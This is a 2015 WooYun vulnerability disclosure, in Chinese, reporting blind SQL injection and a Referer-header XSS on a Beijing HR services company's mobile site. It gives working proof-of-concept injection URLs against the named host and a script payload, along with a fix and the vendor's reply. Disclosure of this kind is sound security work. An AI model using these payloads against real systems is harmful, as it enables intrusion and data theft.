当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094066

漏洞标题:北京外企某站sql注入合集(二)

相关厂商:北京外企人力资源服务有限公司

漏洞作者: 大懒

提交时间:2015-01-27 11:59

修复时间:2015-03-13 12:00

公开时间:2015-03-13 12:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-27: 细节已通知厂商并且等待厂商处理中
2015-01-29: 厂商已经确认,细节仅向厂商公开
2015-02-08: 细节向核心白帽子及相关领域专家公开
2015-02-18: 细节向普通白帽子公开
2015-02-28: 细节向实习白帽子公开
2015-03-13: 细节向公众公开

简要描述:

该站点存在sql整型盲注,基于referer的xss

详细说明:

1.sql盲注
url:http://mobile.fesco.com.cn/c/people.php
parameter:language
如下url:http://mobile.fesco.com.cn/c/people.php?age=0&language=-1%20OR%203*2*1%3d6%20AND%201%3D2&serviceid=2&sex=0&star=1 逻辑是1=2

1.jpg


然后url:http://mobile.fesco.com.cn/c/people.php?age=0&language=-1%20OR%203*2*1%3d6%20AND%201%3D1&serviceid=2&sex=0&star=1 逻辑是1=1

2.jpg


然后整型看char能否起作用
url:http://mobile.fesco.com.cn/c/people.php?age=0&language=-1%20OR%203*2*1%3d6%20AND%201%3Dchar(49)&serviceid=2&sex=0&star=1

3.jpg


用sqlmap跑一下:

5.jpg


2.xss
url:
http://mobile.fesco.com.cn/c/apply.php
修改请求头部,增加Referer: "<script>alert(/xss/)<Script>

4.jpg


影响的url:
/c/apply.php
/c/artlist.php
/c/detailjob.php
/c/detailpeople.php
/c/download.php
/c/people.php
/c/sshow.php

漏洞证明:

如上

修复方案:

1.查询语句结构化,
2.对referer头部的双引号转义,设置referer白名单

版权声明:转载请注明来源 大懒@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-01-29 11:39

厂商回复:

感谢这位白帽子,这网站长久不用了,我已 联系负责人,看是下线还是修复,谢谢。

最新状态:

暂无


漏洞评价:

评论